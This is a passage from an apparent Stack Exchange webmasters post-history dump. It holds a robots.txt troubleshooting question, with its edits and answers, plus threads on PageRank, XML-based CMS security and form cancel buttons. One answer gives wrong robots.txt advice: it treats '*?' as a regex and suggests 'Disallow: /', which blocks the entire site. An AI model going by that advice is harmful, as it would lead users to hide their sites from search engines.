9/30/10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my robots.txt file:&#xD;&#xA;&#xD;&#xA;    User-Agent: *&#xD;&#xA;    Disallow: /api&#xD;&#xA;    Disallow: /api/&#xD;&#xA;    Disallow: /logout&#xD;&#xA;    Disallow: /logout/&#xD;&#xA;    Disallow: /login&#xD;&#xA;    Disallow: /login/&#xD;&#xA;    Disallow: /registration&#xD;&#xA;    Disallow: /registration/&#xD;&#xA;    Disallow: /admin/*&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /*/new&#xD;&#xA;    Disallow: /*/createnew&#xD;&#xA;    Disallow: /*/edit&#xD;&#xA;    Disallow: /*/edit/*&#xD;&#xA;    Disallow: /*/editprofile&#xD;&#xA;    Disallow: /*/delete&#xD;&#xA;    Disallow: /*/delete/*&#xD;&#xA;    Disallow: /*/update&#xD;&#xA;    Disallow: /*/update/&#xD;&#xA;    Disallow: /*/submit&#xD;&#xA;    Disallow: /*/submit/&#xD;&#xA;    Disallow: /*/report&#xD;&#xA;    Disallow: /*/report/*&#xD;&#xA;    Disallow: /search&#xD;&#xA;    Disallow: /search/&#xD;&#xA;    Disallow: /controllers/*&#xD;&#xA;    Disallow: /my-trading-place.html&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/admin/*&#xD;&#xA;    Disallow: /lostpassword&#xD;&#xA;    Disallow: /lostpassword/&#xD;&#xA;    Disallow: /registrationComplete&#xD;&#xA;    Disallow: /registrationComplete/&#xD;&#xA;    Disallow: /accountActivate&#xD;&#xA;    Disallow: /accountActivate/&#xD;&#xA;    Disallow: /generate-token&#xD;&#xA;    Disallow: /create-widget&#xD;&#xA;    Disallow: /buttons&#xD;&#xA;    Disallow: /accountDeleted&#xD;&#xA;    Disallow: /accountSuspended&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /news/process-submission&#xD;&#xA;    Disallow: /news/submit/success&#xD;&#xA;    Disallow: /news/errorpage&#xD;&#xA;    Disallow: /community/members/*/mailinglist/add&#xD;&#xA;    Disallow: /community/members/*/editprofile&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/users/*/follow&#xD;&#xA;    Disallow: /community/users/*/unfollow&#xD;&#xA;    Disallow: /trustnetwork/createtoken&#xD;&#xA;    Disallow: /trustnetwork/applytoken&#xD;&#xA;    Disallow: /community/members/*/mail/*&#xD;&#xA;    Disallow: /community/mail/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/unpublished/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/reported/*&#xD;&#xA;    Disallow: /user/tools/market-scanner/update/*&#xD;&#xA;    Disallow: /user/tools/market-scanner/delete/*&#xD;&#xA;    Disallow: /user/tools/market-scanner/execute/*&#xD;&#xA;    Disallow: /tools/parsers/marketscan/test-formula&#xD;&#xA;    Disallow: /tools/pipeline/vote-submitted.html&#xD;&#xA;    Disallow: /community/classifieds/replies/*&#xD;&#xA;    Disallow: /report&#xD;&#xA;    Disallow: /thumbvote&#xD;&#xA;    Disallow: /like&#xD;&#xA;    Disallow: /dislike&#xD;&#xA;    Disallow: /voteRemove&#xD;&#xA;    Disallow: /flagAsInteresting&#xD;&#xA;    Disallow: /addFavorite&#xD;&#xA;    Disallow: /recommend/*&#xD;&#xA;    Disallow: /completed-recommendation.html&#xD;&#xA;    Disallow: /rate&#xD;&#xA;    Disallow: /notify&#xD;&#xA;    Disallow: /addTestimonial&#xD;&#xA;    Disallow: /comments/update/*&#xD;&#xA;    Disallow: /comments/great-comment&#xD;&#xA;    Disallow: /community/members/admin/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/moderated/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/reported/*&#xD;&#xA;    Disallow: /community/articles/reported/fetch/*&#xD;&#xA;    Disallow: /community/articles/reported/comments/moderated/*&#xD;&#xA;    Disallow: /community/articles/comments/reported/*&#xD;&#xA;    Disallow: /community/groups/*/requests&#xD;&#xA;    Disallow: /community/groups/*/moderation&#xD;&#xA;    Disallow: /community/groups/*/headlineMgmt&#xD;&#xA;    Disallow: /community/groups/*/pollMgmt&#xD;&#xA;    Disallow: /community/groups/*/join&#xD;&#xA;    Disallow: /community/groups/*/leave&#xD;&#xA;    Disallow: /community/groups/*/shout&#xD;&#xA;    Disallow: /community/groups/*/topics/reply/*&#xD;&#xA;    Disallow: /community/groups/*/banUser&#xD;&#xA;    Disallow: /countries/cities&#xD;&#xA;    Disallow: /country/schools&#xD;&#xA;    Disallow: /community/knowledge-center/answers/accept&#xD;&#xA;    Disallow: /community/knowledge-center/answers/unAccept&#xD;&#xA;    Disallow: /requestPassword&#xD;&#xA;    Disallow: /restorePassword&#xD;&#xA;    Disallow: /restoredPassword&#xD;&#xA;    Disallow: /changePassword&#xD;&#xA;    Disallow: /changedPassword&#xD;&#xA;    Disallow: /adverts/replies/mailbox&#xD;&#xA;    Disallow: /security/error403&#xD;&#xA;    Disallow: /home/error404&#xD;&#xA;    Disallow: /home/disabled-notification&#xD;&#xA;    Disallow: /home/error500&#xD;&#xA;    Disallow: /home/gAIgnore&#xD;&#xA;    Disallow: /*?&#xD;&#xA;    Allow: /&#xD;&#xA;    &#xD;&#xA;    Sitemap: http://www.example.com/sitemap-index.xml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It looks ok to me, but obviously, there must be something in the robots.txt which is restricting access to quite a few pages. I will be very grateful if someone can spot the offending lines in my robots.txt file" />
  <row Id="7275" PostHistoryTypeId="1" PostId="3712" RevisionGUID="b4c14d02-1d0c-471d-a6df-18d21fc7f423" CreationDate="2010-10-11T12:48:11.853" UserDisplayName="morpheous" Text="Googlebot crawler: URL restricted by robots.txt - how to fix the entries in robots.txt?" />
  <row Id="7276" PostHistoryTypeId="3" PostId="3712" RevisionGUID="b4c14d02-1d0c-471d-a6df-18d21fc7f423" CreationDate="2010-10-11T12:48:11.853" UserDisplayName="morpheous" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;robots.txt&gt;&lt;robots&gt;" />
  <row Id="7277" PostHistoryTypeId="5" PostId="3712" RevisionGUID="8895ae9e-04e1-4221-9ec7-43f79449d131" CreationDate="2010-10-11T13:00:50.647" UserDisplayName="morpheous" Comment="deleted 38 characters in body; deleted 208 characters in body" Text="I noticed recently that Google is not caching all of the pages on my website. Upon using the Google webmaster diagnostic tool, I realized that some of my pages were being restricted by entries in my robots.txt file.&#xD;&#xA;&#xD;&#xA;I know some people may frown on the use of wild cards etc, but my web framework generates dynamic URLs - so there is no otherway of 'pattern matching' a set of Urls.&#xD;&#xA;&#xD;&#xA;I have included both my robots.tx and a list of the ignored URLs here. Hopefully, someone can spot the rule(s) that are restricting Googlebots access to the URLs.&#xD;&#xA;&#xD;&#xA;First of all, here is a (truncated) list of restricted URLs:&#xD;&#xA;&#xD;&#xA;    URL Detail Detected&#xD;&#xA;    http://www.example.com/community/groups/cat-lovers-united.html?filter=events URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/knowledge-center/questions/newbie/1/how-to-love-your-cat.html URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/news/comments/1 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/feeds/blogposts?request_type=comments&amp;id=2 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/news/106/related-headlines?page=1 URL restricted by robots.txt 10/2/10&#xD;&#xA;    http://www.example.com/news/search?category=agriculturals&amp;keywords=argentina URL restricted by robots.txt 10/6/10&#xD;&#xA;    http://www.example.com/news/submissions/list?site=ibnlive.in.com URL restricted by robots.txt 9/30/10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my robots.txt file:&#xD;&#xA;&#xD;&#xA;    User-Agent: *&#xD;&#xA;    Disallow: /api&#xD;&#xA;    Disallow: /api/&#xD;&#xA;    Disallow: /logout&#xD;&#xA;    Disallow: /logout/&#xD;&#xA;    Disallow: /login&#xD;&#xA;    Disallow: /login/&#xD;&#xA;    Disallow: /registration&#xD;&#xA;    Disallow: /registration/&#xD;&#xA;    Disallow: /admin/*&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /*/new&#xD;&#xA;    Disallow: /*/createnew&#xD;&#xA;    Disallow: /*/edit&#xD;&#xA;    Disallow: /*/edit/*&#xD;&#xA;    Disallow: /*/editprofile&#xD;&#xA;    Disallow: /*/delete&#xD;&#xA;    Disallow: /*/delete/*&#xD;&#xA;    Disallow: /*/update&#xD;&#xA;    Disallow: /*/update/&#xD;&#xA;    Disallow: /*/submit&#xD;&#xA;    Disallow: /*/submit/&#xD;&#xA;    Disallow: /*/report&#xD;&#xA;    Disallow: /*/report/*&#xD;&#xA;    Disallow: /search&#xD;&#xA;    Disallow: /search/&#xD;&#xA;    Disallow: /controllers/*&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/admin/*&#xD;&#xA;    Disallow: /lostpassword&#xD;&#xA;    Disallow: /lostpassword/&#xD;&#xA;    Disallow: /registrationComplete&#xD;&#xA;    Disallow: /registrationComplete/&#xD;&#xA;    Disallow: /accountActivate&#xD;&#xA;    Disallow: /accountActivate/&#xD;&#xA;    Disallow: /generate-token&#xD;&#xA;    Disallow: /create-widget&#xD;&#xA;    Disallow: /buttons&#xD;&#xA;    Disallow: /accountDeleted&#xD;&#xA;    Disallow: /accountSuspended&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /news/process-submission&#xD;&#xA;    Disallow: /news/submit/success&#xD;&#xA;    Disallow: /news/errorpage&#xD;&#xA;    Disallow: /community/members/*/mailinglist/add&#xD;&#xA;    Disallow: /community/members/*/editprofile&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/users/*/follow&#xD;&#xA;    Disallow: /community/users/*/unfollow&#xD;&#xA;    Disallow: /trustnetwork/createtoken&#xD;&#xA;    Disallow: /trustnetwork/applytoken&#xD;&#xA;    Disallow: /community/members/*/mail/*&#xD;&#xA;    Disallow: /community/mail/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/unpublished/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/reported/*&#xD;&#xA;    Disallow: /tools/pipeline/vote-submitted.html&#xD;&#xA;    Disallow: /community/classifieds/replies/*&#xD;&#xA;    Disallow: /report&#xD;&#xA;    Disallow: /thumbvote&#xD;&#xA;    Disallow: /like&#xD;&#xA;    Disallow: /dislike&#xD;&#xA;    Disallow: /voteRemove&#xD;&#xA;    Disallow: /flagAsInteresting&#xD;&#xA;    Disallow: /addFavorite&#xD;&#xA;    Disallow: /recommend/*&#xD;&#xA;    Disallow: /completed-recommendation.html&#xD;&#xA;    Disallow: /rate&#xD;&#xA;    Disallow: /notify&#xD;&#xA;    Disallow: /addTestimonial&#xD;&#xA;    Disallow: /comments/update/*&#xD;&#xA;    Disallow: /comments/great-comment&#xD;&#xA;    Disallow: /community/members/admin/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/moderated/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/reported/*&#xD;&#xA;    Disallow: /community/articles/reported/fetch/*&#xD;&#xA;    Disallow: /community/articles/reported/comments/moderated/*&#xD;&#xA;    Disallow: /community/articles/comments/reported/*&#xD;&#xA;    Disallow: /community/groups/*/requests&#xD;&#xA;    Disallow: /community/groups/*/moderation&#xD;&#xA;    Disallow: /community/groups/*/headlineMgmt&#xD;&#xA;    Disallow: /community/groups/*/pollMgmt&#xD;&#xA;    Disallow: /community/groups/*/join&#xD;&#xA;    Disallow: /community/groups/*/leave&#xD;&#xA;    Disallow: /community/groups/*/shout&#xD;&#xA;    Disallow: /community/groups/*/topics/reply/*&#xD;&#xA;    Disallow: /community/groups/*/banUser&#xD;&#xA;    Disallow: /countries/cities&#xD;&#xA;    Disallow: /country/schools&#xD;&#xA;    Disallow: /community/knowledge-center/answers/accept&#xD;&#xA;    Disallow: /community/knowledge-center/answers/unAccept&#xD;&#xA;    Disallow: /requestPassword&#xD;&#xA;    Disallow: /restorePassword&#xD;&#xA;    Disallow: /restoredPassword&#xD;&#xA;    Disallow: /changePassword&#xD;&#xA;    Disallow: /changedPassword&#xD;&#xA;    Disallow: /adverts/replies/mailbox&#xD;&#xA;    Disallow: /security/error403&#xD;&#xA;    Disallow: /home/error404&#xD;&#xA;    Disallow: /home/disabled-notification&#xD;&#xA;    Disallow: /home/error500&#xD;&#xA;    Disallow: /home/gAIgnore&#xD;&#xA;    Disallow: /*?&#xD;&#xA;    Allow: /&#xD;&#xA;    &#xD;&#xA;    Sitemap: http://www.example.com/sitemap-index.xml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It looks ok to me, but obviously, there must be something in the robots.txt which is restricting access to quite a few pages. I will be very grateful if someone can spot the offending lines in my robots.txt file" />
  <row Id="7278" PostHistoryTypeId="2" PostId="3713" RevisionGUID="2803b63a-6eb8-4778-b590-cf6bf5aeff0a" CreationDate="2010-10-11T13:16:09.517" UserId="102" Text="There is a good google tech talk about [Building web reputation systems][1]&#xD;&#xA;&#xD;&#xA;[Yahoo patterns][2] has a section on different reputation systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=Yn7e0J9m6rE&#xD;&#xA;  [2]: http://developer.yahoo.com/ypatterns/social/people/reputation/" />
  <row Id="7279" PostHistoryTypeId="2" PostId="3714" RevisionGUID="0ac20ca1-f8d4-4ef8-b591-14efe73e72b0" CreationDate="2010-10-11T13:29:14.073" UserId="2292" Text="The home page of my website has been indexed by Google more than 6 months ago. Some of the internal pages have received a page rank 6 or higher, however, the page rank of the home page remains 0. What might be the reason and is there anything I can do about it? Thanks!" />
  <row Id="7280" PostHistoryTypeId="1" PostId="3714" RevisionGUID="0ac20ca1-f8d4-4ef8-b591-14efe73e72b0" CreationDate="2010-10-11T13:29:14.073" UserId="2292" Text="How long does it take for a page to be assigned Google page rank?" />
  <row Id="7281" PostHistoryTypeId="3" PostId="3714" RevisionGUID="0ac20ca1-f8d4-4ef8-b591-14efe73e72b0" CreationDate="2010-10-11T13:29:14.073" UserId="2292" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="7282" PostHistoryTypeId="2" PostId="3715" RevisionGUID="ec4e6d9a-17f8-4350-ba2a-ae7f7d0265eb" CreationDate="2010-10-11T13:33:40.397" UserId="1253" Text="A page is assigned PageRank as soon as it is indexed as all pages start off with a default PR (which I *think* is .15). However, that doesn't mean you'll see that PR in a toolbar or reporting tool. Public PR is updated only periodically so whatever PR you see via reporting tools is a snapshot of the ***past***. It does not reflect a page's current PR.&#xD;&#xA;&#xD;&#xA;Keep in mind that toolbars and other reporting tools can be flawed and not reflect a page's proper PR. It's also possible that the home page has received a penalty for selling links or something similar. Do you sell links or advertising on your home page?" />
  <row Id="7283" PostHistoryTypeId="2" PostId="3716" RevisionGUID="16fa2976-be8a-4680-8be5-1842eef0a816" CreationDate="2010-10-11T13:36:15.787" UserId="2288" Text="As morpheous points out, &quot;Disallow: /*?&quot; is the source of your problems. The &quot;*?&quot; is a regex, or regular express pattern, which basically means any STRING of text of ANY length, *? means the same thing, but limits the pattern to the SHORTEST possible answer, and in the case of robots.txt, I can't think of a way that expression would have any meaning.  &#xD;&#xA;&#xD;&#xA;**Reading ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;The Disallow line lists the pages you want to block.&lt;/ul&gt; &#xD;&#xA;&#xD;&#xA;**ERRORS_IN_YOUR_ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt; All the use of * in &quot;/*/&quot; may or may not correctly used, all the &quot;Disallow: /&lt;INSERT_XYZ&gt;/*&quot; are wrong, all you need is &quot;Disallow: /&lt;INSERT_XYZ&gt;/&quot; &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt; &quot;Disallow: /*?&quot; should be &quot;Disallow: /&quot; since the reference is to directories, not agents; with &quot;User-Agent: *&quot; that's correct, and &quot;User-Agent: /&quot; would be wrong.&#xD;&#xA;&#xD;&#xA;NOTE: You may also want to use the &quot;noindex&quot; meta-tag.&#xD;&#xA;&#xD;&#xA;Google's webpage for webmasters is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237&amp;rd=1&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7284" PostHistoryTypeId="2" PostId="3717" RevisionGUID="fa0afd6c-ba71-43c8-8455-5a6d4e7e252d" CreationDate="2010-10-11T13:36:57.813" UserId="2059" Text="The PR cycle is a bit mysterious, but it's been suggested that PR changes are usually visible somewhere in the midst of a 90 day cycle.  &#xD;&#xA;&#xD;&#xA;The fact that your sub pages have page rank means that the PR of zero on the home page is quite likely accurate (i.e. it's not an issue of waiting for Google).  If that is indeed the case you need to look at why your subpages have high page rank.  Are there a lot of external links coming in to these pages?  Is there a specific keyword string you've been ranking well for on those pages?  Compare all the pros and the cons between the pages on your domain that are ranking well and those that aren't and you'll hopefully get some insight." />
  <row Id="7285" PostHistoryTypeId="5" PostId="3715" RevisionGUID="a62b2bd0-48ad-4d47-a7e3-e4ee8c451003" CreationDate="2010-10-11T13:40:17.707" UserId="1253" Comment="added 308 characters in body" Text="A page is assigned PageRank as soon as it is indexed as all pages start off with a default PR (which I *think* is .15). However, that doesn't mean you'll see that PR in a toolbar or reporting tool. Public PR is updated only periodically so whatever PR you see via reporting tools is a snapshot of the ***past***. It does not reflect a page's current PR.&#xD;&#xA;&#xD;&#xA;Keep in mind that toolbars and other reporting tools can be flawed and not reflect a page's proper PR. It's also possible that the home page has received a penalty for selling links or something similar. Do you sell links or advertising on your home page?&#xD;&#xA;&#xD;&#xA;How does your home page rank in the SERPs? If it is doing well I wouldn't put too much energy into figuring this out. If it ranks poorly then there is an issue somewhere that needs to be addressed and you should find out what is causing your home page to behave mysteriously in the SERPs and with its PR." />
  <row Id="7286" PostHistoryTypeId="5" PostId="3716" RevisionGUID="2607295f-ffb0-4648-9289-a9ea9661fbc4" CreationDate="2010-10-11T13:41:41.283" UserId="2288" Comment="added 125 characters in body; added 94 characters in body; deleted 6 characters in body" Text="As morpheous points out, &quot;Disallow: /*?&quot; is the source of your problems. The &quot;*?&quot; is a regex, or regular express pattern, which basically means any STRING of text of ANY length, *? means the same thing, but limits the pattern to the SHORTEST possible answer, and in the case of robots.txt, I can't think of a way that expression would have any meaning.  &#xD;&#xA;&#xD;&#xA;**Reading ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;The Disallow line lists the pages you want to block.&lt;/ul&gt; &#xD;&#xA;&#xD;&#xA;**ERRORS_IN_YOUR_ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt; All the use of * in &quot;/*/&quot; may or may not correctly used, all the &quot;Disallow: /INSERT_XYZ/*&quot; are wrong, all you need is &quot;Disallow: /INSERT_XYZ/&quot; &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt; &quot;Disallow: /*?&quot; should be &quot;Disallow: /&quot; since the reference is to directories, not agents; with &quot;User-Agent: *&quot; that's correct, and &quot;User-Agent: /&quot; would be wrong.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt; All the &quot;Disallow: /&lt;INSERT_XYZ&gt;&quot; should likely be &quot;Disallow: /INSERT-XYZ/&quot; if they're a reference to a directory.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;**NOTE:** You should also Google these meta-tags: &lt;a href=&quot;http://en.wikipedia.org/wiki/Noindex&quot;&gt;noindex&lt;/a&gt;, nofollow, noarchive, nocache&#xD;&#xA;&#xD;&#xA;Google's webpage for webmasters is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237&amp;rd=1&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7287" PostHistoryTypeId="5" PostId="3716" RevisionGUID="3ebd0681-94ef-4161-946b-7cb7dad0b34a" CreationDate="2010-10-11T13:47:35.497" UserId="2288" Comment="added 19 characters in body; added 63 characters in body; added 4 characters in body; added 9 characters in body" Text="As morpheous points out, &quot;Disallow: /*?&quot; is the source of your problems. The &quot;*?&quot; is a regex, or regular express pattern, which basically means any STRING of text of ANY length, *? means the same thing, but limits the pattern to the SHORTEST possible answer, and in the case of robots.txt, I can't think of a way that expression would have any meaning.  &#xD;&#xA;&#xD;&#xA;**Reading ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;The Disallow line lists the pages you want to block.&lt;/ul&gt; &#xD;&#xA;&lt;ul&gt;The User-Agent line lists the crawlers you want to block.&lt;/ul&gt; &#xD;&#xA;&#xD;&#xA;**ERRORS_IN_YOUR_ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;(1) All the use of * in &quot;/*/&quot; may or may not correctly used, all the &quot;Disallow: /INSERT_XYZ/*&quot; are wrong, all you need is &quot;Disallow: /INSERT_XYZ/&quot; &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(2) &quot;Disallow: /*?&quot; should be &quot;Disallow: /&quot; since the reference is to directories, not agents; with &quot;User-Agent: *&quot; that's correct, and &quot;User-Agent: /&quot; would be wrong.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(3) All the &quot;Disallow: /INSERT_XYZ&quot; should likely be &quot;Disallow: /INSERT-XYZ/&quot; if they're a reference to a directory.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Google's webpage for webmasters for Robots.txt is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237&amp;rd=1&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;**NOTE:** You should also Google these meta-tags: &lt;a href=&quot;http://en.wikipedia.org/wiki/Noindex&quot;&gt;noindex&lt;/a&gt;, nofollow, noarchive, nocache&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7288" PostHistoryTypeId="2" PostId="3718" RevisionGUID="03f2684b-be09-4b53-9697-3585e58ab297" CreationDate="2010-10-11T13:49:05.350" UserId="2059" Text="I've used a lot of content management systems in my day (drupal, wordpress, joomla, etc.) and they have all been database driven using MySQL.  While the security updates for many CMS offerings out there seem frequent and strong, I still see the occasional site go down, get defaced, etc. (usually from SQL injection attacks).&#xD;&#xA;&#xD;&#xA;This has led me to look at [Get-Simple CMS][1], which has the unique difference of housing data in XML files.  I realize folks won't be able to speak about specific vulnerabilities related to this CMS, but in general what are the pros and cons with regard to security and an XML driven CMS?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://get-simple.info/" />
  <row Id="7289" PostHistoryTypeId="1" PostId="3718" RevisionGUID="03f2684b-be09-4b53-9697-3585e58ab297" CreationDate="2010-10-11T13:49:05.350" UserId="2059" Text="Are there security risks involved in moving from a CMS that uses SQL to one that uses XML?" />
  <row Id="7290" PostHistoryTypeId="3" PostId="3718" RevisionGUID="03f2684b-be09-4b53-9697-3585e58ab297" CreationDate="2010-10-11T13:49:05.350" UserId="2059" Text="&lt;security&gt;&lt;cms&gt;&lt;xml&gt;" />
  <row Id="7291" PostHistoryTypeId="2" PostId="3719" RevisionGUID="b24587ef-46c9-461b-94f4-d4d1ad1fecf0" CreationDate="2010-10-11T13:54:30.087" UserId="1253" Text="It's really the same as any form of data store. Do you protect it from malicious data and attack? One thing that comes to mind is how are the XML files stored?&#xD;&#xA;&#xD;&#xA;- Outside of the web root - best&#xD;&#xA;- Inside the web root but protected through .htaccess - not as good but ok&#xD;&#xA;- Inside the web root and hidden through obscurity - not good at all&#xD;&#xA;&#xD;&#xA;The data's integrity and malicious user input issues still apply. They may not be able to to SQL injections but they can still do XXS attacks as that is independent of the storage mechanism.&#xD;&#xA;&#xD;&#xA;I'd have to say there is no advantage or disadvantage to using XML for storage from a security point of view. (From a non-security point of view I would think XML is slower to work with then a relational database especially for large data stores)." />
  <row Id="7292" PostHistoryTypeId="5" PostId="3716" RevisionGUID="a7ed71f8-9b03-473c-a403-4ab64631198a" CreationDate="2010-10-11T14:19:19.490" UserId="2288" Comment="added 2 characters in body; added 11 characters in body; added 6 characters in body; edited body" Text="As morpheous points out, &quot;Disallow: /_*_?&quot; is the source of your problems. The &quot;_*_?&quot; is a regex, or regular express pattern, which basically means any STRING of text of ANY length, &quot;_*_?&quot; means the same thing, but limits the pattern to the SHORTEST possible answer, and in the case of robots.txt, I can't think of a way that the &quot;_*_?&quot; expression would have any meaning.  &#xD;&#xA;&#xD;&#xA;**Reading ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;The Disallow line lists the pages you want to block.&lt;/ul&gt; &#xD;&#xA;&lt;ul&gt;The User-Agent line lists the crawlers you want to block.&lt;/ul&gt; &#xD;&#xA;&#xD;&#xA;**ERRORS_IN_YOUR_ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;(1) All the use of * in &quot;/*/&quot; may or may not correctly used, all the &quot;Disallow: /INSERT_XYZ/*&quot; are wrong, all you need is &quot;Disallow: /INSERT_XYZ/&quot; &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(2) &quot;Disallow: /*?&quot; should be &quot;Disallow: /&quot; since the reference is to directories, not agents; with &quot;User-Agent: *&quot; that's correct, and &quot;User-Agent: /&quot; would be wrong.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(3) All the &quot;Disallow: /INSERT_XYZ&quot; should likely be &quot;Disallow: /INSERT_XYZ/&quot; if they're a reference to a directory.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Google's webpage for webmasters for Robots.txt is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237&amp;rd=1&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;**NOTE:** You should also Google these meta-tags: &lt;a href=&quot;http://en.wikipedia.org/wiki/Noindex&quot;&gt;noindex&lt;/a&gt;, nofollow, noarchive, nocache&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7293" PostHistoryTypeId="2" PostId="3720" RevisionGUID="e61df473-d35d-4393-b93f-f6806c51bae2" CreationDate="2010-10-11T14:26:10.770" UserId="172" Text="I am currently creating yet another form, and as usual, I am not sure which way to implement the &quot;Cancel&quot; (or &quot;Back&quot;) button next to the &quot;Submit&quot; one, that allows the user to forget this form and go back to the listing page.&#xD;&#xA;&#xD;&#xA;There are obviously many ways : you can either use a simple button or a link (or any tag with proper `onclick` and styling, for that matter), and all can use `JavaScript` to go back in history or simply go to a given url.&#xD;&#xA;&#xD;&#xA;Each method has its advantage : the `back()` button allows to go directly where the user was (on the 3rd page of the list sorted by name, for example), but may pop the &quot;confirm resend&quot; window. On the other hand, going to some url is &quot;cleaner&quot;, but means either going to a generic one (1st page of list, default sorting), or keeping the previous url as a hidden parameter, if one wants to go exactly to the same page (3rd page sorted by name).&#xD;&#xA;&#xD;&#xA;How do you guys handle this ? I usually use the `history.back()` solution, because in my case it usually does the trick, but there may be some disadvantages to this method." />
  <row Id="7294" PostHistoryTypeId="1" PostId="3720" RevisionGUID="e61df473-d35d-4393-b93f-f6806c51bae2" CreationDate="2010-10-11T14:26:10.770" UserId="172" Text="How do you handle the &quot;Cancel&quot; button ?" />
  <row Id="7295" PostHistoryTypeId="3" PostId="3720" RevisionGUID="e61df473-d35d-4393-b93f-f6806c51bae2" CreationDate="2010-10-11T14:26:10.770" UserId="172" Text="&lt;button&gt;&lt;forms&gt;" />
  <row Id="7296" PostHistoryTypeId="2" PostId="3721" RevisionGUID="32c71aa1-682b-4b68-9594-19b32a27e250" CreationDate="2010-10-11T14:35:50.530" UserId="1253" Text="Solely using JavaScript for this is a bad solution as it disenfranchises users without JavaScript enabled. JavaScript should always enhance the solution, not be it. (See [progressive enhancement][1]).&#xD;&#xA;&#xD;&#xA;If the user presses a cancel button your server side script should know where to take them back to. If it was a page that required a form submission you need to rework your site so that it uses redirects after form submissions to prevent the resubmission of forms in these cases. (It's called [POST/Redirect/GET][2]). &#xD;&#xA;&#xD;&#xA;You then can use JavaScript to enhance this for users with JavaScript turned on to make this faster (like get the contents for the previous page using Ajax and redisplaying it). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Post/Redirect/Get" />
  <row Id="7297" PostHistoryTypeId="5" PostId="3716" RevisionGUID="80501082-edd0-448b-8149-679c57bd6d5c" CreationDate="2010-10-11T14:56:11.027" UserId="2288" Comment="added 33 characters in body; deleted 1 characters in body; added 57 characters in body" Text="See you answered your own question, but as you point out, &quot;Disallow: /_*_?&quot; is the source of your problems. The &quot;_*_&quot; is a regex, or regular express pattern, which basically means any STRING of text of ANY length, &quot;_*_?&quot; means the same thing, but limits the pattern to the SHORTEST possible answer, and in the case of robots.txt, I can't think of a way that the &quot;_*_?&quot; expression would have any meaning.  &#xD;&#xA;&#xD;&#xA;**Reading ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;The Disallow line lists the pages you want to block.&lt;/ul&gt; &#xD;&#xA;&lt;ul&gt;The User-Agent line lists the crawlers you want to block.&lt;/ul&gt; &#xD;&#xA;&#xD;&#xA;**ERRORS_IN_YOUR_ROBOTS.TXT**&#xD;&#xA;&lt;ul&gt;(1) All the use of * in 